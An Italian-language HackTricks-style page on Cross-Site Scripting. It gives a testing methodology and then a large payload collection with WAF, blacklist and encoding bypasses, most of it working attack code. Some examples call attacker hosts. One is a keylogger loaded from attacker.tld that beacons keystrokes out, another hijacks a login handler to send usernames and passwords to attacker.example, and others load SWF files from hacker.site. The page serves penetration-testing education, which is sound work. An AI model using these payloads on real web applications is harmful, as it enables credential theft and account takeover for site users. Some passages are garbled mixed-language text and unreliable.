%.*s
XSS (Cross Site Scripting)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Metodologia
- Verifica se qualsiasi valore che controlli (parameters, path, headers?, cookies?) viene riflesso nell’HTML o usato dal codice JS.
- Trova il contesto in cui viene riflesso/usato.
- Se è riflesso
- Verifica quali simboli puoi usare e in base a questo, prepara il payload:
- In raw HTML:
- Puoi creare nuovi tag HTML?
- Puoi usare eventi o attributi che supportano il protocollo
javascript:? - Puoi bypassare le protezioni?
- Il contenuto HTML viene interpretato da qualche engine JS client side (AngularJS, VueJS, Mavo…)? Potresti abusare di una Client Side Template Injection.
- Se non puoi creare tag HTML che eseguono codice JS, puoi abusare di una Dangling Markup - HTML scriptless injection?
- All’interno di un tag HTML:
- Puoi uscire al contesto HTML grezzo?
- Puoi creare nuovi eventi/attributi per eseguire codice JS?
- L’attributo in cui sei intrappolato supporta l’esecuzione di JS?
- Puoi bypassare le protezioni?
- All’interno del codice JavaScript:
- Puoi uscire dal tag
<script>? - Puoi uscire dalla stringa ed eseguire codice JS diverso?
- Il tuo input è in template literals ``?
- Puoi bypassare le protezioni?
- Funzione Javascript che viene eseguita
- Puoi indicare il nome della funzione da eseguire. es.:
?callback=alert(1) - Se è usato:
- Potresti sfruttare una DOM XSS, presta attenzione a come il tuo input è controllato e se il tuo input controllato è usato da qualche sink.
Quando lavori su una XSS complessa potresti trovare interessante sapere di:
Valori riflessi
Per poter sfruttare con successo una XSS la prima cosa che devi trovare è un valore controllato da te che viene riflesso nella pagina web.
- Riflesso intermedio: Se trovi che il valore di un parametro o anche del path viene riflesso nella pagina web potresti sfruttare una Reflected XSS.
- Salvato e riflesso: Se trovi che un valore controllato da te viene salvato sul server e viene riflesso ogni volta che accedi a una pagina potresti sfruttare una Stored XSS.
- Accessibile tramite JS: Se trovi che un valore controllato da te viene accesso tramite JS potresti sfruttare una DOM XSS.
Contesti
Quando provi a sfruttare una XSS la prima cosa che devi sapere è dove viene riflesso il tuo input. A seconda del contesto, potrai eseguire codice JS arbitrario in modi diversi.
HTML grezzo
Se il tuo input è riflesso nell’HTML grezzo della pagina dovrai abusare di qualche HTML tag per eseguire codice JS: <img , <iframe , <svg , <script … questi sono solo alcuni dei molti possibili tag HTML che potresti usare.
Inoltre, tieni in considerazione Client Side Template Injection.
All’interno degli attributi di un tag HTML
Se il tuo input è riflesso all’interno del valore di un attributo di un tag potresti provare:
- A uscire dall’attributo e dal tag (poi sarai nell’HTML grezzo) e creare un nuovo tag HTML da abusare:
"><img [...] - Se puoi uscire dall’attributo ma non dal tag (
>è codificato o cancellato), a seconda del tag potresti creare un evento che esegue codice JS:" autofocus onfocus=alert(1) x=" - Se non puoi uscire dall’attributo (
"è codificato o cancellato), allora a seconda di quale attributo il tuo valore è riflesso e se controlli tutto il valore o solo una parte sarai in grado di abusarne. Per esempio, se controlli un evento comeonclick=sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro interessante esempio è l’attributohref, dove puoi usare il protocollojavascript:per eseguire codice arbitrario:href="javascript:alert(1)" - Se il tuo input è riflesso all’interno di “tag non sfruttabili” potresti provare il trucco
accesskeyper abusare della vulnerabilità (avrai bisogno di un po’ di social engineering per sfruttarlo):" accesskey="x" onclick="alert(1)" x="
XSS su login basato solo su attributi dietro WAFs
Una pagina di login SSO aziendale rifletteva il parametro OAuth service all’interno dell’attributo href di <a id="forgot_btn" ...>. Anche se < e > erano HTML-encoded, le virgolette doppie non lo erano, quindi l’attaccante poteva chiudere l’attributo e riusare lo stesso elemento per iniettare handler come " onfocus="payload" x=".
- Iniettare l’handler: Payload semplici come
onclick="print(1)"venivano bloccati, ma il WAF ispezionava solo la prima istruzione JavaScript negli attributi inline. Prefissare un’espressione innocua racchiusa tra parentesi, poi un punto e virgola, permetteva al payload reale di eseguirsi:onfocus="(history.length);malicious_code_here". - Auto-trigger: I browser mettono a fuoco qualsiasi elemento il cui
idcorrisponde al fragment, quindi aggiungendo#forgot_btnall’URL di exploit si forza l’anchor a ricevere il focus al caricamento della pagina e a eseguire l’handler senza necessitare di un click. - Mantieni lo stub inline piccolo: Il target includeva già jQuery. L’handler doveva solo bootstrapare una richiesta tramite
$.getScript(...)mentre il keylogger completo risiedeva sul server dell’attaccante.
Costruire stringhe senza virgolette
Le virgolette singole venivano ritornate URL-encoded e le doppie virgolette escape corrompevano l’attributo, quindi il payload generava ogni stringa con String.fromCharCode. Una funzione helper rende facile convertire qualsiasi URL in char codes prima di incollarlo nell’attributo:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Un attributo risultante aveva questo aspetto:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Perché questo ruba credenziali
Lo script esterno (caricato da un host controllato dall’attaccante o da Burp Collaborator) ha agganciato document.onkeypress, ha bufferizzato le battute, e ogni secondo eseguiva new Image().src = collaborator_url + keys. Poiché la XSS si attiva solo per utenti non autenticati, l’azione sensibile è il form di login stesso — l’attaccante effettua keylogging dei nomi utente e delle password anche se la vittima non preme mai “Login”.
Esempio strano di Angular che esegue XSS se controlli il nome di una classe:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
All’interno del codice JavaScript
In questo caso il tuo input viene riflesso tra i tag <script> [...] </script> di una pagina HTML, all’interno di un file .js o dentro un attributo che usa il protocollo javascript::
- Se riflesso tra i tag
<script> [...] </script>, anche se il tuo input è racchiuso in qualsiasi tipo di virgolette, puoi provare a iniettare</script>ed evadere questo contesto. Questo funziona perché il browser analizzerà prima i tag HTML e poi il contenuto; di conseguenza non noterà che il tag</script>iniettato è dentro il codice HTML. - Se riflesso all’interno di una stringa JS e l’ultimo trucco non funziona, dovrai uscire dalla stringa, eseguire il tuo codice e ricostruire il codice JS (se c’è qualche errore, non verrà eseguito):
'-alert(1)-'';-alert(1)//\';alert(1)//- Se riflesso all’interno di template literals puoi inserire espressioni JS usando la sintassi
${ ... }:var greetings = `Hello, ${alert(1)}` - La codifica Unicode funziona per scrivere codice JavaScript valido:
alert(1)
alert(1)
alert(1)
Hoisting di Javascript
Javascript Hoisting indica la possibilità di dichiarare funzioni, variabili o classi dopo che sono state usate in modo da poter sfruttare scenari in cui una XSS sta usando variabili o funzioni non dichiarate.
Controlla la pagina seguente per maggiori informazioni:
Funzione Javascript
Diverse pagine web hanno endpoint che accettano come parametro il nome della funzione da eseguire. Un esempio comune che si vede nel mondo reale è qualcosa come: ?callback=callbackFunc.
Un buon modo per capire se qualcosa fornito direttamente dall’utente viene eseguito è modificare il valore del parametro (per esempio in ‘Vulnerable’) e guardare nella console per errori come:
.png)
Se è vulnerabile, potresti essere in grado di scatenare un alert semplicemente inviando il valore: ?callback=alert(1). Tuttavia, è molto comune che questi endpoint validino il contenuto per permettere solo lettere, numeri, punti e underscore ([\w\._]).
Tuttavia, anche con questa limitazione è comunque possibile eseguire alcune azioni. Questo perché puoi usare quei caratteri validi per accedere a qualsiasi elemento del DOM:
.png)
Alcune funzioni utili per questo:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Puoi anche provare a richiamare funzioni Javascript direttamente: obj.sales.delOrders.
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza molto DOM interessante, other pages in the same origin avranno un more interesting DOM per eseguire più azioni.
Pertanto, per abusare di questa vulnerabilità in un DOM diverso è stato sviluppato l’exploit Same Origin Method Execution (SOME):
SOME - Same Origin Method Execution
DOM
C’è JS code che usa in modo insicuro alcuni dati controllati da un attacker come location.href. Un attacker potrebbe abusarne per eseguire arbitrary JS code.
Universal XSS
Questo tipo di XSS può essere trovato ovunque. Non dipendono solo dall’exploit lato client di una web application ma da qualsiasi contesto. Questo tipo di esecuzione arbitraria di JavaScript può anche essere abusato per ottenere RCE, read arbitrary files su client e server, e altro ancora.
Alcuni esempi:
WAF bypass encoding image
.jpg)
Injecting inside raw HTML
Quando il tuo input viene riflesso inside the HTML page o puoi evadere e iniettare codice HTML in questo contesto, la prima cosa che devi fare è verificare se puoi abusare di < per creare nuovi tag: prova semplicemente a riflettere quel carattere e verifica se viene HTML encoded o deleted oppure se viene reflected without changes. Solo nell’ultimo caso potrai sfruttare questa situazione.
Per questi casi tieni anche presente Client Side Template Injection.
Nota: A HTML comment can be closed using****-->****or **--!>****
In questo caso, e se non viene usato alcun black/whitelisting, potresti usare payload come:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Ma, se viene usato il black/whitelisting di tags/attributes, dovrai brute-force quali tags puoi creare.
Una volta che hai individuato quali tags sono permessi, dovrai brute-force attributes/events all’interno dei tags validi trovati per vedere come puoi attaccare il contesto.
Tags/Events brute-force
Vai su https://portswigger.net/web-security/cross-site-scripting/cheat-sheet e clicca su Copy tags to clipboard. Poi inviali tutti usando Burp intruder e verifica se qualche tags non è stato identificato come malevolo dal WAF. Una volta scoperti i tags che puoi usare, puoi brute force tutti gli eventi usando i tags validi (nella stessa pagina clicca su Copy events to clipboard e segui la stessa procedura di prima).
Tag personalizzati
Se non trovi nessun tag HTML valido, puoi provare a creare un tag personalizzato ed eseguire codice JS con l’attributo onfocus. Nella richiesta XSS, devi terminare l’URL con # per fare in modo che la pagina si focalizzi su quell’oggetto e esegua il codice:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Bypass della blacklist
Se viene utilizzato qualche tipo di blacklist, puoi provare a bypassarla con alcuni trucchi semplici:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Bypass della lunghezza (small XSSs)
[!NOTE] > Altri tiny XSS per ambienti diversi payload can be found here and here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
L’ultimo utilizza 2 caratteri Unicode che si espandono in 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
Se per sfruttare la vulnerabilità hai bisogno che l’user clicchi un link o un form con dati precompilati, puoi provare a abuse Clickjacking (se la pagina è vulnerabile).
Impossible - Dangling Markup
Se pensi che sia impossibile creare un HTML tag con un attributo per eseguire codice JS, dovresti controllare Danglig Markup because potresti exploit la vulnerabilità senza eseguire JS codice.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
Se ti trovi dentro un HTML tag, la prima cosa che potresti provare è escape dal tag e usare alcune delle tecniche menzionate nella previous section per eseguire codice JS.
Se non puoi escape dal tag, potresti creare nuovi attributi dentro il tag per provare a eseguire codice JS, ad esempio usando un payload come ( note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag ):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Eventi di stile
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Within the attribute
Anche se non puoi uscire dall’attributo (" è codificato o rimosso), a seconda di quale attributo il tuo valore viene riflesso e se controlli l’intero valore o solo una parte potrai abusarne. Per esempio, se controlli un event come onclick= potrai farlo eseguire codice arbitrario quando viene cliccato.\
Un altro interessante esempio è l’attributo href, dove puoi usare il protocollo javascript: per eseguire codice arbitrario: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
I caratteri HTML encoded all’interno del valore degli attributi dei tag HTML vengono decodificati a runtime. Pertanto qualcosa del genere sarà valido (il payload è in grassetto): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Nota che qualsiasi tipo di HTML encode è valido:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Nota che URL encode funzionerà anche:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass all’interno dell’evento usando la codifica Unicode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocolli speciali all’interno dell’attributo
Lì puoi usare i protocolli javascript: o data: in alcuni contesti per eseguire codice JS arbitrario. Alcuni richiederanno l’interazione dell’utente, altri no.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Luoghi in cui è possibile iniettare questi protocolli
In generale il protocollo javascript: può essere utilizzato in qualsiasi tag che accetta l’attributo href e nella maggior parte dei tag che accettano l’attributo src (ma non <img>)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Altri trucchi di obfuscation
In questo caso il trucco di HTML encoding e quello di Unicode encoding della sezione precedente sono anch’essi validi in quanto sei all’interno di un attributo.
<a href="javascript:var a=''-alert(1)-''">
Inoltre, c’è un altro bel trucco per questi casi: Anche se il tuo input all’interno di javascript:... viene URL encoded, verrà URL decoded prima di essere eseguito. Quindi, se hai bisogno di escape dalla string usando una single quote e vedi che viene URL encoded, ricorda che non importa, verrà interpretato come una single quote durante il tempo di execution.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Nota che se provi a usare entrambi URLencode + HTMLencode in qualsiasi ordine per codificare il payload non non funzionerà, ma puoi mescolarli all’interno del payload.
Usare Hex e Octal encode con javascript:
Puoi usare Hex e Octal encode all’interno dell’attributo src di iframe (almeno) per dichiarare HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Se puoi iniettare qualsiasi URL in un arbitrario <a href= tag che contiene gli attributi target="_blank" and rel="opener", controlla la pagina seguente per sfruttare questo comportamento:
Bypass dei gestori di eventi “on”
Prima di tutto controlla questa pagina (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) per utili gestori di eventi “on”.
Nel caso ci sia qualche blacklist che ti impedisce di creare questi gestori di eventi puoi provare i seguenti bypass:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in “Unexploitable tags” (hidden input, link, canonical, meta)
Da qui ora è possibile abusare dei hidden input con:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
E nei meta tag:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Da here: Puoi eseguire un XSS payload inside a hidden attribute, a condizione che tu possa convincere la victim a premere la combinazione di tasti. Su Firefox Windows/Linux la combinazione di tasti è ALT+SHIFT+X e su OS X è CTRL+ALT+X. Puoi specificare una combinazione diversa usando un tasto diverso nell’access key attribute. Ecco il vettore:
<input type="hidden" accesskey="X" onclick="alert(1)">
Il payload XSS sarà qualcosa del tipo: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Diversi trucchi che utilizzano differenti encoding sono già stati esposti in questa sezione. Torna indietro per imparare dove puoi usare:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Leggi i Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Leggi la JavaScript bypass blacklist of the following section.
CSS-Gadgets
Se trovi una XSS in una parte molto piccola del sito che richiede un certo tipo di interazione (magari un piccolo link nel footer con un elemento onmouseover), puoi provare a modificare lo spazio che quell’elemento occupa per massimizzare la probabilità che il link venga attivato.
Per esempio, potresti aggiungere dello stile all’elemento come: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Tuttavia, se il WAF sta filtrando l’attributo style, puoi usare CSS Styling Gadgets, quindi se trovi, per esempio
.test {display:block; color: blue; width: 100%}
and
#someid {top: 0; font-family: Tahoma;}
Ora puoi modificare il nostro link e portarlo nella forma
<a href=“” id=someid class=test onclick=alert() a=“”>
Questo trucco è stato preso da https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Iniezione all’interno del codice JavaScript
In questo caso il tuo input sarà riflesso all’interno del codice JS di un file .js o tra i tag <script>...</script> o tra eventi HTML che possono eseguire codice JS o in attributi che accettano il protocollo javascript:.
Evasione del tag
Se il tuo codice è inserito all’interno di <script> [...] var input = 'reflected data' [...] </script> puoi facilmente uscire chiudendo il tag <script>:
</script><img src=1 onerror=alert(document.domain)>
Nota che in questo esempio non abbiamo nemmeno chiuso l’apice singolo. Questo perché l’analisi HTML viene eseguita prima dal browser, il che comporta l’identificazione degli elementi della pagina, inclusi i blocchi di script. L’analisi di JavaScript per comprendere ed eseguire gli script incorporati viene eseguita solo successivamente.
All’interno del codice JS
Se <> vengono sanitizzati puoi comunque uscire dal contesto della stringa nel punto in cui il tuo input è posizionato ed eseguire JS arbitrario. È importante correggere la sintassi JS, perché se ci sono errori, il codice JS non verrà eseguito:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Quando l’input dell’utente arriva all’interno di una stringa JavaScript tra virgolette (es., echo lato server in uno script inline), puoi terminare la stringa, iniettare codice e riparare la sintassi per mantenere il parsing valido. Scheletro generico:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Esempio di pattern URL quando il parametro vulnerabile è riflesso in una stringa JS:
?param=test";<INJECTION>;a="
This esegue JS dell’attaccante senza bisogno di toccare il contesto HTML (pure JS-in-JS). Combina con blacklist bypasses below quando i filtri bloccano le parole chiave.
Template literals ``
Per costruire strings oltre alle virgolette singole e doppie, JS accetta anche le backticks ``. Questo è noto come template literals perché permettono di embedded JS expressions usando la sintassi ${ ... }.\
Quindi, se scopri che il tuo input viene reflected all’interno di una JS string che usa backticks, puoi abusare della sintassi ${ ... } per eseguire arbitrary JS code:
Questo può essere abusato usando:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Esecuzione di codice codificato
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads con eval(atob()) e sfumature di ambito
Per mantenere gli URL più corti e aggirare filtri di parole chiave troppo semplici, puoi base64-encode la tua logica reale ed eseguirla con eval(atob('...')). Se un semplice filtraggio per parole chiave blocca identificatori come alert, eval o atob, usa identificatori con escape Unicode che compilano in modo identico nel browser ma eludono i filtri basati sulla corrispondenza di stringhe:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Nota importante sullo scoping: const/let dichiarati all’interno di eval() sono limitati al blocco e NON creano variabili globali; non saranno accessibili agli script successivi. Usa un elemento <script> iniettato dinamicamente per definire hook globali non-riassegnabili quando necessario (ad es., per hijack a form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Riferimento: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Esecuzione JS con codifica Unicode
alert(1)
alert(1)
alert(1)
Tecniche di bypass delle blacklists in JavaScript
Stringhe
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Escape speciali
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Sostituzioni di spazi all’interno del codice JS
<TAB>
/**/
JavaScript comments (da JavaScript Comments trucco)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript new lines (da JavaScript new line trucco)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
Spazi bianchi in JavaScript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript all’interno di un commento
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript senza parentesi
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
